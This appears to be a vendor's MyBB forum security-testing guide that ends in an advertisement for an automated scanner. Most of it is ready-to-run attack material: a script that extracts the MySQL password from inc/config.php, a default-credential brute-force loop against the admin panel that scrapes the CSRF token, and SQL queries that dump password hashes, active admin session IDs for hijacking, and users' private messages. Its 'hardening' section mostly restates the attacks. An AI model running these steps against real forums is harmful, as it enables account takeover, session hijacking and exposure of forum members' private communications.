MyBB Security Testing: Default Credentials, API Key, Database, and Forum

MyBB is a widely used free and open-source forum software with an active community following. Key assessment areas: inc/config.php exposes MySQL credentials and the table prefix; admin credentials grant full ACP (Admin Control Panel) access; mybb_sessions contains active session tokens; mybb_users contains password hashes; and MyBB has a documented history of SQL injection and XSS vulnerabilities in both core and plugins. This guide covers systematic MyBB security assessment.

Table of Contents

  1. inc/config.php MySQL Credential Extraction
  2. ACP Admin Credential and Session Token Assessment
  3. MySQL User Hash, Session, and Private Message Extraction
  4. MyBB Security Hardening

inc/config.php MySQL Credential Extraction

# MyBB — inc/config.php MySQL credential extraction
MYBB_URL="https://forum.example.com"

# inc/config.php — MyBB database configuration (CRITICAL)
cat /var/www/mybb/inc/config.php 2>/dev/null
# $config['database']['type'] = 'mysqli';
# $config['database']['database'] = 'mybb';
# $config['database']['table_prefix'] = 'mybb_';
# $config['database']['hostname'] = 'localhost';
# $config['database']['username'] = 'mybb';
# $config['database']['password'] = '...';     <-- MySQL database password

python3 -c "
import re
content = open('/var/www/mybb/inc/config.php').read()
patterns = {
    'db_password': r\"\\\$config\['database'\]\['password'\]\s*=\s*'([^']+)'\",
    'db_username': r\"\\\$config\['database'\]\['username'\]\s*=\s*'([^']+)'\",
    'db_database': r\"\\\$config\['database'\]\['database'\]\s*=\s*'([^']+)'\",
    'table_prefix': r\"\\\$config\['database'\]\['table_prefix'\]\s*=\s*'([^']+)'\",
}
for name, pattern in patterns.items():
    m = re.search(pattern, content)
    if m: print(f'{name}: {m.group(1)[:60]}')
" 2>/dev/null

# Check inc/config.php web exposure
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MYBB_URL}/inc/config.php" 2>/dev/null)
echo "inc/config.php: HTTP ${STATUS}"

# MyBB version disclosure
curl -s "${MYBB_URL}/" 2>/dev/null | grep -oP 'MyBB [0-9]+\.[0-9]+\.[0-9]+' | head -1

# Test admin credentials at /admin/
for CRED in "admin:admin" "admin:mybb" "admin:password" "administrator:admin"; do
  USER=$(echo $CRED | cut -d: -f1)
  PASS=$(echo $CRED | cut -d: -f2)
  MY_TOKEN=$(curl -s "${MYBB_URL}/admin/index.php" | \
    grep -oP 'my_post_key" value="\K[^"]+' | head -1 2>/dev/null)
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" \
    -X POST "${MYBB_URL}/admin/index.php" \
    -d "username=${USER}&password=${PASS}&my_post_key=${MY_TOKEN}&action=login&do=login" \
    -c /tmp/mybb_c -b /tmp/mybb_c 2>/dev/null)
  echo "${USER}/${PASS}: HTTP ${STATUS}"
done

ACP Admin Credential and Session Token Assessment

# MyBB ACP — admin credential and session token assessment
MYBB_URL="https://forum.example.com"

# MyBB ACP is typically at /admin/ (configurable)
# Test common ACP paths
for PATH in "admin" "administrator" "acp" "control"; do
  STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MYBB_URL}/${PATH}/" 2>/dev/null)
  echo "/${PATH}/: HTTP ${STATUS}"
done

# Check for MyBB lockout status after failed logins
# MyBB tracks failed logins in mybb_adminoptions table

# ACP provides access to:
# - Template editor (can inject PHP via eval in templates if feature is enabled)
# - Plugin manager (upload/install PHP plugins)
# - File manager replacement via FTP settings
# - Full database backup download
# - User account modification and password resets

# Check /install/ directory
STATUS=$(curl -s -o /dev/null -w "%{http_code}" "${MYBB_URL}/install/" 2>/dev/null)
echo "/install/: HTTP ${STATUS}"
# Should be blocked after installation

MySQL User Hash, Session, and Private Message Extraction

# MyBB MySQL database — user hash, session, and private message extraction
DB_PASS="extracted-db-password"
PREFIX="mybb_"

mysql -u mybb -p"${DB_PASS}" mybb 2>/dev/null << EOF
-- MyBB users with password hashes
SELECT u.uid, u.username, u.email, u.password, u.salt,
       u.usergroup, u.regdate, u.lastactive, u.lastip
FROM ${PREFIX}users u
ORDER BY u.uid
LIMIT 20;
-- password format: MD5(MD5(salt) + MD5(password)) in older MyBB
-- MyBB 1.8.x uses a double MD5 + salt scheme

-- Admin users (usergroup 4 = Administrator)
SELECT u.username, u.email, u.password, u.salt,
       u.lastactive, u.lastip
FROM ${PREFIX}users u
WHERE u.usergroup = 4
ORDER BY u.uid;

-- Active sessions (session hijacking)
SELECT s.sid, s.uid, s.ip, s.time,
       u.username, u.email
FROM ${PREFIX}sessions s
JOIN ${PREFIX}users u ON s.uid = u.uid
WHERE u.usergroup = 4          -- admin sessions
AND s.time > UNIX_TIMESTAMP() - 86400
ORDER BY s.time DESC
LIMIT 10;
-- sid: session ID used in mybb[sid] cookie

-- Private messages (sensitive user communications)
SELECT pm.pmid, pm.fromid, pm.toid,
       u_from.username as sender, pm.subject,
       LEFT(pm.message, 200) as message_preview,
       pm.dateline
FROM ${PREFIX}privatemessages pm
JOIN ${PREFIX}users u_from ON pm.fromid = u_from.uid
ORDER BY pm.dateline DESC
LIMIT 20;

-- Administrator log (recent admin actions)
SELECT al.action, al.data, al.ipaddress, al.dateline
FROM ${PREFIX}adminlog al
ORDER BY al.dateline DESC
LIMIT 20;
EOF

MyBB Security Hardening

MyBB Security Hardening Checklist:
Security TestMethodRisk
inc/config.php MySQL password and table prefix extractionRead /var/www/mybb/inc/config.php — database credentials; table_prefix needed for direct database queries against all forum dataCritical
Admin credential brute-force (admin/admin)POST /admin/index.php — ACP session; full forum administration, user management, database backup, plugin installationHigh
mybb_users double MD5 password hash extractionMySQL SELECT password, salt FROM mybb_users — MD5(MD5(salt)+MD5(pass)) scheme cracks rapidly; admin account (usergroup=4) compromise enables full site controlHigh
mybb_sessions admin session ID token hijackingMySQL SELECT sid FROM mybb_sessions WHERE uid IN (admin UIDs) — session ID for mybb[sid] cookie injection; admin panel access without credential knowledgeHigh
mybb_privatemessages private content accessMySQL SELECT message FROM mybb_privatemessages — all private messages between users; sensitive communications, shared credentials, personal informationMedium

Automate MyBB Security Testing

Ironimo tests MyBB deployments for inc/config.php MySQL database password and table prefix web exposure, /install/ directory post-installation accessibility, admin/admin credential brute-force at /admin/ ACP with my_post_key CSRF extraction, mybb_users double MD5+salt password hash extraction, Administrator group (usergroup=4) user identification, mybb_sessions active admin session SID token for hijacking, mybb_privatemessages private message content enumeration, mybb_adminlog recent admin action review, MyBB version disclosure for SQL injection CVE targeting, and /inc/ directory PHP file web access protection verification.

Start free scan